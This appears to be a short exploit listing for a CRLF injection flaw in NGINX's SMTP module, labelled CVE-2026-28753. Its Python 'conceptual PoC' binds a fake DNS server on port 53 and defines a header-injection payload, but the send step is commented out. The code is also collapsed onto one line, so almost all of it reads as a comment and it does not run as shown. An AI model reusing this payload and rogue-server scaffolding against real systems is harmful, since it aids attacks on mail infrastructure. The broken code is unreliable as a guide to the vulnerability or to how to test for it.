CVE-2026-28753 NGINX SMTP模块CRLF注入漏洞

import socket # Conceptual PoC for CVE-2026-28753 # This script simulates a malicious DNS server that responds with # a payload containing CRLF sequences to exploit the vulnerability. # Malicious payload with CRLF injection injected_headers = "\r\nX-Injected-Header: Attacker-Controlled\r\n" def start_dns_server(): # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", 53)) print("[+] Malicious DNS server listening on port 53...") try: while True: data, addr = sock.recvfrom(1024) print(f"[+] Received query from {addr}") # In a real exploit, the attacker would craft a valid DNS response # where the domain name or TXT record contains the CRLF sequence. # Below is a simplified representation of the logic. # Constructing a malicious response (Conceptual) # The vulnerability triggers when NGINX parses the response. # response_payload += injected_headers # Send response (Actual DNS crafting required for execution) # sock.sendto(response_payload, addr) pass except KeyboardInterrupt: sock.close() if __name__ == "__main__": start_dns_server()